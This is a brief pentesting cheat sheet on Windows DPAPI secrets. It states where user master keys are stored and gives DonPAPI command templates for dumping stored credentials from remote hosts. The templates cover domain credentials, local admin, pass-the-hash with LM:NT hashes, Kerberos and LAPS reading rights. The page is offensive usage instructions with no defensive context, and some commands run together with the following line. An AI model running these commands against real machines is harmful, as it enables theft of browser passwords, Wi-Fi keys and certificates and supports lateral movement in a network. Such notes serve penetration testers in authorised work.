DPAPI secrets
How to find local user sensitive data.
Overview
Windows uses the DPAPI (Data Protection API) to store sensitive data for various applications, such as Outlook, Web browsers and more. Windows also uses DPAPI to store certificates, Wi-Fi credentials, etc.
The DPAPI data is secured by a user-specific master key and is stored within a users directory:
C:\Users\<USER>\AppData\Roaming\Microsoft\Protect<SUID_GUID>
Remotely Dumping
The DPAPI can be dumped remotely using DonPapi. However, a users password is required.
Dump all secrets using a domain administrator account (requires local administrator):
DonPAPI <domain>/<user>:<password>@<target>Dump all secrets using a local administrator account:
DonPAPI -local_auth <user>@<target>Dump secrets using a users password hash (Pass-The-Hash attack):
DonPAPI --hashes <LM>:<NT> <domain>/<user>@<target>Dump secrets using kerberos:
DonPAPI -k <domain>/<user>@<target>Dump secrets using a user with LAPS password reading rights:
DonPAPI -laps <domain>/<user>:<password>@<target>Last updated